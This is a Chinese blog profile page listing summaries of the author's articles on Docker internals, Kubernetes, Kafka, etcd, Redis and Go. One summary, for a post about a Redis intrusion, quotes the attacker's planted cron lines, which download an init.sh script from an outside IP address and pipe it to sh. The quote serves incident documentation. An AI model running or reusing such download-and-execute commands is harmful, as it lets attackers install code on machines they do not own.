自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(96)
  • 收藏
  • 关注

原创 从零开始写 Docker(十二)---实现 mydocker stop 停止容器

本文为从零开始写 Docker 系列第十二篇,实现类似 `docker stop` 的功能,使得我们能够停止指定容器。

2024-04-25 09:32:27 341

原创 从零开始写 Docker(十一)---实现 mydocker exec 进入容器内部

本篇主要实现,让我们可以直接进入到容器内部,查看容器内部的文件、调试应用程序、执行命令等等。

2024-04-16 12:37:05 569

原创 从零开始写 Docker(十)---实现 mydocker logs 查看容器日志

本文为从零开始写 Docker 系列第十篇,实现类似 docker logs 的功能,使得我们能够查查看容器日志。

2024-04-09 12:40:25 914

原创 从零开始写 Docker(九)---实现 mydocker ps 查看运行中的容器

本文为从零开始写 Docker 系列第九篇,实现类似 docker ps 的功能,使得我们能够查询到后台运行中的所有容器。

2024-03-26 12:34:53 910

原创 从零开始写 Docker(八)---实现 mydocker run -d 支持后台运行容器

经过前面的 7 篇文章,我们已经基本实现了一个简单的 docker 了。不过与 Docker 创建的容器相比,我们还缺少以下功能1)指定后台运行容器,也就是 detach 功能2)通过 docker ps 查看目前处于运行中的容器3)通过docker logs 查看容器的输出4)通过 docker exec 进入到一个已经创建好了的容器中后续几篇文章主要就是一一实现这些功能,本文首先实现让容器后台运行。

2024-03-21 12:43:22 811

原创 从零开始写 Docker(七)---实现 mydocker commit 打包容器成镜像

由于之前使用 pivotRoot + overlayfs 技术 将目录作为容器的 rootfs,因此容器中的所有改动都发生在该目录下。这里我们的命令只需要把该目录保存下来即可,因此简单实现为 使用 tar 命令将目录打成 tar 包本篇 mydocker commit 比较简单,就是使用 tar 命令将 rootfs 直接进行打包,没有太多需要注意的地方。

2024-03-19 10:03:29 748

原创 从零开始写 Docker(六)---实现 mydocker run -v 支持数据卷挂载

上一篇中基于 overlayfs 实现了容器和宿主机文件系统间的写操作隔离。但是一旦容器退出,容器可读写层的所有内容都会被删除。那么,如果用户需要持久化容器里的部分数据该怎么办呢?docker volume 就是用来解决这个问题的。启动容器时通过-v参数创建 volume 即可实现数据持久化。本节将会介绍如何实现将宿主机的目录作为数据卷挂载到容器中,并且在容器退出后,数据卷中的内容仍然能够保存在宿主机上。具体实现主要依赖于 linux 的 bind mount 功能。bind mount。

2024-03-14 13:05:57 1058

原创 从零开始写 Docker(五)---基于 overlayfs 实现写操作隔离

上一篇中已经实现了使用宿主机 /root/busybox 目录作为容器的根目录,但在容器内对文件的操作仍然会直接影响到宿主机的 /root/busybox 目录。本节要进一步进行容器和镜像隔离,实现在容器中进行的操作不会对镜像(宿主机/root/busybox目录)产生任何影响的功能。overlayfs 是 UFS 的一种实现,UnionFS 全称为 Union File System ,是一种为 Linux FreeBSD NetBSD 操作系统设计的,把其他文件系统联合到一个联合挂载点的文件系统服务。

2024-03-12 13:19:30 618

原创 从零开始写 Docker(四)---使用 pivotRoot 切换 rootfs 实现文件系统隔离

前面几节中,我们通过Namespace和Cgroups技术创建了一个简单的容器,实现了视图隔离和资源限制。但是大家应该可以发现,容器内的目录还是当前运行程序的宿主机目录,而且如果运行一下 mount 命令可以看到继承自父进程的所有挂载点。这貌似和平常使用的容器表现不同因为这里缺少了镜像这么一个重要的特性。Docker 镜像可以说是一项伟大的创举,它使得容器传递和迁移更加简单,那么这一节会做一个简单的镜像,让容器跑在有镜像的环境中。本章会为我们切换容器的 rootfs,以实现文件系统的隔离。

2024-03-05 13:01:09 734

原创 从零开始写 Docker(三)---基于 cgroups 实现资源限制

本文为从零开始写 Docker 系列第三篇,在`mydocker run` 基础上基于 cgroups 实现容器的资源限制。

2024-03-01 09:49:00 763

原创 从零开始写 Docker(二)---优化:使用匿名管道传递参数

匿名管道是一种特殊的文件描述符,用于在父进程和子进程之间创建通信通道。有以下特点:管道有一个固定大小的缓冲区,一般是4KB。这种通道是单向的,即数据只能在一个方向上流动。当管道被写满时,写进程就会被阻塞,直到有读进程把管道的内容读出来。同样地,当读进程从管道内拿数据的时候,如果这时管道的内容是空的,那么读进程同样会被阻塞,一直等到有写进程向管道内写数据。是不是和 Go 中的 Channel 很像。

2024-02-26 12:57:51 635

原创 从零开始写 Docker(一)---实现 mydocker run 命令

本文为从零开始写 Docker 系列第一篇,主要实现 mydocker run 命令,构造了一个具有基本的 Namespace 隔离的简单容器。

2024-02-22 14:09:28 766

原创 揭秘 Docker 网络:手动实现 Docker 桥接网络

本文将带领读者探索 Docker 桥接网络模型的内部机制,通过 veth pair、bridge、iptables 等关键技术手动实现 Docker 桥接网络模型,揭示网络背后的运作原理。

2024-01-30 12:30:01 610

原创 Docker 魔法解密:探索 UnionFS 与 OverlayFS

本文主要介绍了 Docker 的另一个核心技术:Union File System。主要包括对 overlayfs 的演示,以及分析 docker 是如何借助 ufs 实现容器 rootfs 的。

2024-01-23 12:47:56 864

原创 Docker 与 Linux Cgroups:资源隔离的魔法之旅

这篇文章主要介绍了 Docker 如何利用 Linux 的 Control Groups(cgroups)实现容器的资源隔离和管理。

2024-01-19 13:01:49 424

原创 深入剖析 Linux Cgroups 子系统:资源精细管理

本章主要演示以下 cgroups 下各个 subsystem 的作用。根据难易程度,依次演示了 pids 、cpu 和 memory 3 个 subsystem 的使用。

2024-01-12 12:38:48 386

原创 我的创作纪念日

在折腾很久之后,使用 Hexo 搭建了自己的个人博客,中间也是踩了很多坑,于是想着把整个过程记录下来,希望对其他想搭建博客的小伙伴有所帮助。如果你对云原生技术充满好奇,想要深入了解更多相关的文章和资讯,欢迎关注微信公众号。日常也会创作,尽量保持每周更新一篇,一般是周末写,平时还得搬砖哈哈。当然,最开始写的文章都是 Java 向的,现在主要是云原生方向。阅读量:应该有几十万吧,根据统计分析大致算起来。继续扎根云原生,创作出更多优秀作品。扫描下方二维码或搜索公众号【粉丝数:有人看就算成功。

2023-12-29 09:20:49 396

原创 初探 Linux Cgroups:资源控制的奇妙世界

Cgroups 是 Linux 下的一种将进程按组进行管理的机制,它提供了对一组进程及将来子进程的资源限制控制和统计的能力。这些资源包括 CPU、内存、存储、网络等。通过 Cgroups 可以方便地限制某个进程的资源占用,并且可以实时地监控进程的监控与统计信息Cgroups 分v1和v2两个版本:v1 实现较早,功能比较多,但是由于它里面的功能都是零零散散的实现的,所以规划的不是很好,导致了一些使用和维护上的不便。

2023-12-11 09:32:17 897

原创 探索 Linux Namespace:Docker 隔离的神奇背后

Docker 三大核心技术之一的 Linux Namespace 探索

2023-12-04 16:43:13 310

原创 深入理解 Docker 核心原理:Namespace、Cgroups 和 Rootfs

通过这篇文章你可以了解到 Docker 容器的核心实现原理,包括 Namespace、Cgroups、Rootfs 等三个核心功能。

2023-11-27 10:08:25 243

原创 ArgoWorkflow教程(一)---DevOps 另一选择?云原生 CICD: ArgoWorkflow 初体验

DevOps 另一选择?云原生 CICD: ArgoWorkflow 初体验。

2023-11-23 10:26:40 2208

原创 关于在公众号刷到自己博客这件事

微信公众号探索云原生正式启用了,欢迎大家关注。吐槽:竟然在微信公众号刷到自己的文章🤣,这也太巧了吧。more。

2023-10-23 10:30:55 93

原创 Kubernetes教程(五)---Service 的几种访问方式

所谓 Service,其实就是 Kubernetes 为 Pod 分配的、固定的、基于 iptables(或者 IPVS)的访问入口。而这些访问入口代理的 Pod 信息,则来自于 Etcd,由 kube-proxy 通过控制循环来维护。1)ClusterIP:通过集群的内部 IP 暴露服务,选择该值时服务只能够在集群内部访问。2)NodePort:通过每个节点上的 IP 和静态端口(NodePort)暴露服务。NodePort服务会路由到自动创建的ClusterIP服务。通过请求。

2023-09-24 10:50:23 1009

原创 Kubernetes教程(四)---Service核心原理

Kubernetes 之所以需要 Service,一方面是因为 Pod 的 IP 不是固定的,另一方面则是因为一组 Pod 实例之间总会有负载均衡的需求。metadata:spec:selector:ports:port: 80spec.selector 字段表明这个 Service 只代理携带了 app=hostnames 标签的 Pod。并且,这个 Service 的 80 端口,代理的是 Pod 的 9376 端口。

2023-09-03 12:53:36 135

原创 Kubernetes教程(三)---纯三层网络方案

来自:指月由于 COPY 过来图片无法展示,建议跳转到原文查看本文主要介绍了 Kubernetes 中的 Pure Layer 3 网络方案。其中的典型例子,莫过于 Flannel 的 host-gw 模式和 Calico 项目了,本文将大致分析 Flannel 的 host-gw 模式和 Calico 项目来探索Kubernetes 中的纯三层(Pure Layer 3)网络方案。more本文写于 2021-03-27第二次更新于 2022-09-04,增加了一些自己的理解,并修复了一些错误。

2023-07-23 14:13:54 176

原创 Kubernetes教程(二)---集群网络之 Flannel 核心原理

本文主要记录了 Kubernetes 集群网络方案之 Flannel 核心原理详解,包括其隧道方案中的两种:UDP 实现和 VXLAN 实现。

2023-01-15 12:22:42 683 1

原创 Kubernetes教程(一)---使用 kubeadm 创建 k8s 集群(containerd)

本文记录了使用 kubeadm 从头搭建一个使用 containerd 作为容器运行时的 Kubernetes 集群的过程。

2022-09-04 12:30:11 3173

原创 Kubernetes教程(十一)---使用 KubeClipper 通过一条命令快速创建 k8s 集群

使用 KubeClipper 一条命令快速创建 K8S 集群

2022-08-20 15:02:41 551

原创 Go exec 包执行命令超时失效问题分析及解决方案

本文主要从源码层面分析了 Go exec 包执行命令超时失效问题,找出具体原因并给出相关解决方案。使用 os/exec 执行 shell 脚本并设置超时时间,然后到超时时间之后程序并未超时退出,反而一直阻塞。...

2022-07-09 14:00:25 1922

原创 etcd教程(二)—clientv3简单使用

本文主要介绍了etcd v3版本的基本使用,etcd v3版本入门教程,常见命令的简单使用。1. 初始化Client cli, err := clientv3.New(clientv3.Config{ Endpoints: []string{"localhost:2379"}, DialTimeout:

2022-03-27 14:24:55 2935

原创 etcd教程(一)---通过docker安装etcd集群

本文主要记录了如何通过docker-compose来搭建etcd,包括单节点和集群模式及其web监控。1. 单节点1. 目录结构/usr/local/docker/etcd --/data --docker-compose.yml2. docker-compose.ymlversion: '3'network

2022-02-27 11:58:50 4001

原创 Raft 算法概述

来自:指月 https://www.lixueduan.com原文:https://www.lixueduan.com/post/distributed/raft/本文主要记录 raft 算法的大致实现,包括 leader 选举、日志复制和安全性等三个子问题。本文主要是一些简单的总结,便于新手对 raft 算法有个大致理解,强烈推荐有基础的朋友去看一下 raft 论文,文末有相关资料链接。1. 背景什么是 Raft?Raft 协议是一种共识算法(consensus algorithm)。

2022-02-13 14:01:00 673

原创 一次 Scan 竟耗时上百秒?Redis Scan 原理解析与踩坑

来自:指月 https://www.lixueduan.com原文:https://www.lixueduan.com/post/redis/redis-scan/主要分析了 Redis Scan 命令基本使用和具体实现,包括 Count 参数与 Scan 总耗时的关系,以及核心的逆二进制迭代算法分析。1. 概述由于 Redis 是单线程在处理用户的命令,而 Keys 命令会一次性遍历所有 Key,于是在 命令执行过程中,无法执行其他命令。这就导致如果 Redis 中的 key 比较多,那么 K

2022-01-15 13:36:27 5150 3

原创 Go语言之 Context 实战与源码分析

来自:指月 https://www.lixueduan.com原文:https://www.lixueduan.com/post/go/context/本文主要简单介绍了Go语言(golang)中的context包。给出了context 的基本用法和使用建议,并从源码层面对其底层结构和具体实现原理进行分析。1. 概述以下分析基于 Go 1.17.11.1 什么是 Context上下文 context.Context在Go 语言中用来设置截止日期、同步信号,传递请求相关值的结构体。上下文与

2021-12-25 10:35:26 469

原创 Go语言之 sync.pool 源码分析

本文主要介绍了Go语言(golang)中的`sync.pool`包。给出了 sync.pool 的基本用法,以及各大框架中的使用案例。并从源码层面对其底层结构和具体实现原理进行分析。

2021-12-18 14:47:09 447

原创 Redis 也能被攻击?一次Redis被入侵的记录

通过 RDB 方式入侵,Redis 被攻击记录1. 详情发现 Redis 中突然多了几个 keybackup1backup2backup3backup4具体内容如下:*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh*/4 *

2021-12-05 13:06:15 5442 7

原创 Kafka(Go)教程(十二)---Kafka 中的高水位和 Leader Epoch 机制

来自:指月 https://www.lixueduan.com原文:https://www.lixueduan.com/post/kafka/12-hw-leader-epoch/本文解释了 Kafka 中的高水位和 Leader Epoch 机制。1. 概述Kafka 系列相关代码见 Github高水位(High Watermark)是 Kafka 中非常重要的概念,而 Leader Epoch 是社区在 0.11 版本中新推出的,主要是为了弥补高水位机制的一些缺陷。2. 高水位(Hig

2021-11-28 11:42:29 1792

原创 Kafka(Go)教程(十一)---Consumer Group & Rebalance

来自:指月 https://www.lixueduan.com原文:https://www.lixueduan.com/post/kafka/11-consumer-group-rebalance/本文主要讲述了 Kafka 的消费者组(Consumer Group)和 消费者组的 Rebalance 及如何避免无效 Rebalance。Kakfa 相关代码见 Github1. 传统消息模型传统消息模型一般分为消息队列模型和发布订阅模型:1)消息队列模型的缺陷在于消息一旦被消费,就会从

2021-11-13 13:03:16 2069

原创 Kafka(Go)教程(十)---Kafka 是如何实现精确一次(exactly once)语义的?

来自:指月 https://www.lixueduan.com原文:https://www.lixueduan.com/post/kafka/10-exactly-once-impl/本文主要讲述了Kafka 消息交付可靠性保障以及精确处理一次语义的实现,具体包括幂等生产者和事务生产者。Kakfa 相关代码见 Github1. 概述所谓的消息交付可靠性保障,是指 Kafka 对 Producer 和 Consumer 要处理的消息提供什么样的承诺。常见的承诺有以下三种:最多一次(at m

2021-11-06 12:14:51 1161

原创 Kafka(Go)教程(九)---如何避免消息丢失?

来自:指月 https://www.lixueduan.com原文:https://www.lixueduan.com/post/kafka/09-avoid-msg-lost/本文主要从 Producer、Broker、Consumer 等 3 个方面分析了 Kafka 应该如何配置才能避免消息丢失。Kakfa 相关代码见 Github1. 概述在使用 MQ 的时候最大的问题就是消息丢失,常见的丢失情况如下:1)Producer 端丢失2)Broker 端丢失3)Consumer

2021-10-23 14:41:20 977

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除